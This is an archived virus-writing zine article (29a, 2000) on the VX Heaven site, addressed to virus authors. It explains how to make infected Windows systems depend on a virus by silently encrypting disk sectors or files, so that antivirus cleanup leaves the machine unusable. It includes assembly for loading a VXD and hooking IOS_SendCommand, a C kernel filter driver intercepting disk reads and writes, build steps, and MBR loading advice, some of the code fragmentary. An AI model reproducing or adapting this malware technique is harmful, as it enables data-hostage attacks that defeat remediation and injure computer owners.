VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

How to make infected system to depend on the virus

29a [5]
November 2000

[Back to index] [Comments]

This article is intended for vx authors who want to equip their viruses the method whereby the infected computer will be dependent on the virus. In this case If an antivirus cleaned all infected files, the computer would be inaccessible. And as we can assume no antivirus won't disinfect files by special method.


1. The methods of the system's subjection

To this day I know only two excelent ways how to reach it. They are based on the real-time encryption of the disk or of the files. Both methods need in order that the virus will be active to decode the encrypted data.

2. Files Encryption

It doesn't give to the virus full control under the computer. Even this method is somehow limited. Every, for example, opening request from system goes through the virus and it will do:

This method is realized in Win32.Crypto virus.

2.1. Substandard file access

In Win32 exist two ways how to access to the files, by default through API functions or through drivers (VXD in Win9x and SYS in WinNT/2k). The best way is choose one between them. Imagine in Win9x two programs can open the file both in ring0 and in ring3; and even if you coded VXD driver for ring0 section you wouldn't hook all file accesses, I tested it. Almost one year ago I occur to exploit ring3's LoadLibrary API function and encrypt only DLL files (because ring0 has own VMM function for DLL loading).

This method has some code disadvantages:

3. Disk Encryption

It generally means a virus can gradually encrypt some parts of the disk, usually it isn't good encrypt whole disk's data but just only some sections (for example every tenth cluster etc). Thereby we reach of that, the user won't recognize any slowing down of his system. I'd say this way is programly more difficult than files encryption (mainly virus testing). This method can be realize by drivers (for full Win32 system) or with the virus without any drivers (only for WinNT and Win2000 system).

3.1. Big Three in Action

To monitor all users' operations, at best, there must exist three drivers. The DOS driver, VXD driver and SYS driver.

The very interesting situation comes if the user has multi OS, let's say Win9x and WinNT (more datails below).

How to check whether it's WinME or WinNT?

The best way is analyze \BOOT.INI file and get Windows' directories, then compare dir structure and decide if it's WinME or WinNT/2k.

3.2. DOS Driver

I say that again DOS driver must be especially for Win95/98. The best way how to load this driver is from Master Boot Record therewith that driver's body will be store on the zero track. The best is it isn't easy to write something to the MBR from Win9x and WinNT/2k OS, to this theme see in chapters devoted below to these OS.

How to write driver behind MBR:

3.3. Win95/98 Driver

To hook requests by this OS you must code a VXD driver. Now in this chapter I will show you it won't any problem for you, vxer. At the beginning you should have some programmers needs:

3.3.1. Loading of the driver

There are two types of VXD under Win9x:

The first one are loaded during system bootup and stay loaded until the system shutdown. Dynamic VXD can be loaded/unloaded when needed.

The best way how to load static VXD is copy its to the SYSTEM\IOSUBSYS directory and after next restart Windows will automatically upload registers itself.

If you want to load VXD immediately you must call following code:

                push    0                       ;no template file
                push    FILE_FLAG_DELETE_ON_CLOSE
                push    0 0 0 0
                push    offset VxDName          ;the name of the driver
                call    CreateFileA
                cmp     eax,-1
                jz      error
                mov     hVxD,eax                ;handle of the driver
                push    0 0 0 0 0 NULL 1
                push    hVxD
                call    DeviceIoControl         ;active VXD driver

           VxDName db "\\.\driver.vxd",0
           hVxD    dd ?

3.3.2. What's inside?

Our final VXD driver couldn't be too complex, we will hook only one VMM service, no special calling we shouldn't use.


                               UNDEFINED_DEVICE_ID, UNDEFINED_INIT_ORDER

        Begin_control_dispatch DRIVER
            Control_Dispatch Device_Init, OnDeviceIoControl
        End_control_dispatch DRIVER

        ; start of the driver

        VxD_Locked_Code_Seg                 ;LE segment
        BeginProc OnDeviceIoControl         ;here VXD is starting...

                mov     eax,100004h         ;IOS_SendCommand
                mov     esi,offset SC_Hook  ;address of the hooked function
                VMMCall Hook_Device_Service ;hook that service
                mov     [sc_orig_func],esi  ;original hooked address

                xor     eax,eax             ;no error

        EndProc OnDeviceIoControl

That's all for now. Just we hooked one VMM function: IOS_SendCommand, in SC_Hook function we will catch all system access through ring0.

        BeginProc SC_Hook
                ; this service has the same params like IOS_SendCommand func.
                ;  esi ... IOR structure  \  more in DDK 98
                ;  edi ... DCB structure  /

                cmp     byte ptr [sc_already_inside],0  ;re-call ?
                jnz     sc_exit
                mov     byte ptr [sc_already_inside],1

                mov     [sc_ior_address],esi  ;save IOR structure address

                ; in AL will be a drive letter from where the request comes
                mov     al,byte ptr [esi].IOR_vol_designtr
                cmp     al,2
                jb      sc_finish             ;A,B drives ?
                mov     [sc_drive_letter],al  ;save it, bcos of multi-disks

                ; get the called reason: reading, writting, verifying...
                mov     ax,word ptr [esi].IOR_func

                ; get started address in sectors
                mov     eax,[esi].IOR_start_addr
                     checking if this value is in the encrypted area

                ; get output buffer
                mov     eax,[esi].IOR_buffer_ptr
                test    [esi].IOR_Flags,IORF_SCATTER_GATHER
                ; if this flag is set the output address is given like SGD
                jz      sc_physical
                mov     eax,[eax+4]             ;get real output address
                mov     [sc_output_buf],eax

                ; own algorithm

There're two ways of rerturning to the host either returning status code or by callbacks. I remember when I was coding VXD driver I had some problems with callbacks so I will do the best you wouldn't stay in dark.

                ; go to the original function
                jmp     [sc_orig_func]          ;call IOS_SendCommand


                ; set the callback
                mov     esi,[sc_ior_address]    ;get IOR structure address
                mov     eax,[esi].IOR_callback  ;get old callback address
                mov     [esi].IOR_callback,offset sc_callback
                mov     [sc_old_callback],eax
                jmp     [sc_orig_funct]         ;call IOS_SendCommand

                cmp     [sc_old_callback],0     ;is there any old cback. ?
                jz      sc_wn_exit_ret          
                jmp     [sc_old_callback]       ;yeah, jump there
                ret                             ;no callback

3.3.3. How to load DOS driver

Again we have two solutions how to write a code on the zero track.

The main problem is we cant load the driver the same methods like in Win9x because WinNT/2k don't support 0x13 service. So if the virus is both for Win9x and for WinNT/2k, is better when the DOS driver will be loaded rather from WinNT/2k because from Win9x isn't easy to load WinNT/2k driver than from WinNT/2k to load VXD driver. I'd recommend for this situation to spread virus itself on Win9x/ME platform and it don't load any drivers here as long as the user won't run an infected file from WinNT/2k.

3.4. WinNT/2k driver

This'll be the very interesting chapter because I don't have any books to help me, no tutorials I have, it goes from my own experience. Anyway you will have to download Microsoft Device Development Kit for Win2000/ME from the MS web site (it has something about 65Mb).

3.4.1. How to compile the driver

After installing DDK2k/Me you will get some their tools and subsequently you can adjust your MS Visual C++ setting to code it from this pleasure environment, or the 2nd side is go to DOS and create these files:

        SOURCES.                            ;create this file

            TARGETNAME=DRIVER               ;the name of the driver
            TARGETPATH=c:\my_work\virus     ;driver's directory
            TARGETTYPE=DRIVER               ;type
            LINKER_FLAGS=-MAP               ;some parameters for linking

            INCLUDES=C:\NT\INC              ;where you have INC files, re-
                                            ;commend use VC++ INC directory
            SOURCES=driver.c                ;the name of the driver's file

To compile the driver write:

        BUILD.EXE -w -b

3.4.2. Driver Source

All comments to the driver will be dip into the source.

        #include <ntddk.h>
        #include "driver.h"

        // The  name  of  the  driver which we will hook, in SoftICE you can
        // write  "DEVICE" or "DRIVER" to look at those. Mark "%d" means the
        // number of physical disk device (0 = C: drive)
        #define DiskDeviceName "\\Device\\HardDisk%d"

        #ifdef ALLOC_PRAGMA
        #pragma alloc_text(INIT,DriverEntry)

        // After initialization WinNT/2k call as the first this function.
        NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject,
                               PUNICODE_STRING RegistryPath)

            // devExt is the shared structure for all driver's parts
            PDEVICE_EXTENSION devExt;
            // new hooked device object
            PDEVICE_OBJECT    hookDevice;
            UNICODE_STRING    unicodeDiskName;
            ANSI_STRING       DiskNameA;
            NTSTATUS          status;
            UCHAR             DiskName[200];
            ULONG             i;

            // For now we don't have selected any callbacks
            for (i=0; i<=IRP_MJ_MAXIMUM_FUNCTION; i++)
                 DriverObject->MajorFunction[i] = Dispatch;

            // If the system send any read/write/... request we can set some
            // routine which will catch this.
            DriverObject->MajorFunction[IRP_MJ_READ] = Read;
            DriverObject->MajorFunction[IRP_MJ_WRITE] = Write;

            // Create new device object.
            status = IoCreateDevice(DriverObject,

            if (!NT_SUCCESS(status)) return STATUS_SUCCESS;

            devExt = hookDevice->DeviceExtension;

            // Get unicode device name.
            sprintf(DiskName, DiskDeviceName, 0);
            RtlInitAnsiString(&DiskNameA, DiskName);

            // There are two typed  of  getting information: buffered or di-
            // IO. Buffered IO are used for device which can wait, for exam-
            // ple  keyboards, mouses  etc. Direct  IO are  for disk device,
            // floppy device, CD-ROM and so on.
            hookDevice->Flags |= DO_DIRECT_IO;
            hookDevice->Flags &= ~DO_DEVICE_INITIALIZING;

            // Hook the device.
            status = IoAttachDevice(hookDevice, &unicodeDiskName,

            if (!NT_SUCCESS(status)) return STATUS_SUCCESS;

            return STATUS_SUCCESS;


        NTSTATUS Dispatch(PDEVICE_OBJECT DeviceObject,
                          PIRP Irp)

            PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;

            // We won't do any operations, set the next lower driver.

            return IoCallDriver(devExt->attachedDevice, Irp);


        NTSTATUS Read(PDEVICE_OBJECT DeviceObject,
                      PIRP Irp)

            PIO_STACK_LOCATION currentIrpStack;
            PIO_STACK_LOCATION nextIrpStack;
            PDEVICE_EXTENSION  devExt = DeviceObject->DeviceExtension;
            IO_STATUS_BLOCK    IoStatus;

            // Get the current input parameters.
            currentIrpStack =  IoGetCurrentIrpStackLocation(Irp);

            // Get IRP parameters
            // ... how many bytes the system wants to read
            devExt->Length  = currentIrpStack->Parameters.Read.Length:
            devExt->howMany = devExt->Length / 512;
            // ... where is starting offset of the request ?
            devExt->Offset  = currentIrpStack->
            // ... get the output buffer
            devExt->buffer  = MmGetSystemAddressForMdl(Irp->MdlAddress);

            // Now  check the range of  encryption and  find out if you must
            // decode read request or not.

Now we have two ways go back, normal through return value or we can use callback.

            // Normal returning way (set next lower driver)

            return IoCallDriver(devExt->attachedDevice, Irp);


            // Set the callback
            // Copy next current stack to the lower one.
            currentIrpStack = IoGetCurrentIrpStackLocation(Irp);
            nextIrpStack = IoGetNextIrpStackLocation(Irp);
            *nextIrpStack = *currentIrpStack;


What's inside callback?

        NTSTATUS DiskReadNoCompletion(IN PDEVICE_OBJECT DeviceObject,
                                      IN PIRP Irp,
                                      IN PVOID Context)

            PIO_STACK_LOCATION IrpSp;
            PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;

            // Get current Irp stack == input parameters
            IrpSp = IoGetCurrentIrpStackLocation(Irp);

            // If the operation was successful...
            if (NT_SUCCESS(Irp->IoStatus.Status)) {

                 // Check Irp parameters (see above)


            // Mark the Irp pending if required
            if (Irp->PendingReturned) {

            return STATUS_SUCCESS;


Also highly recommend to read DDK2k about the drivers.

3.4.3. Disk Operations

To call all disk operations like reading, writing, verifying you must you these functions:

3.4.4. How to load DOS & VXD driver

At first I'd like to take to parts the DOS driver problem. There are exist two ways how something write to the zero track.

So, we successfuly loaded the DOS driver and now we must do the same for VXD driver. This is easier but we must know if the user 's Win95/98 system or not. We have two ways to find it out:

3.4.5. Driver loading

I am tired of the repetition "there're two ways how to..." all the time of this tutorial but it's true.

3.5. Debugging Drivers

For all vxers will be better use SoftICE, there is one my special advice for you:

Some rich vxers who have two computers can use the 2nd one like a debugger, the exact instruction is in DDK 2k. You will need create only a serial cabel (show us your electrotechnic knowledge!).

4. Conclusion

If I had possibility to write a virus sometimes in future, surely I would choose this method like 100%-ly attack againt antiviruses. For some vxers it can be hard to code but mainly "Files Encryption" would be easy to realize. In fine I wish you could instead all anti-* technics to use one quite certain way leading to the antiviruses paralysis.

[Back to index] [Comments]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! aka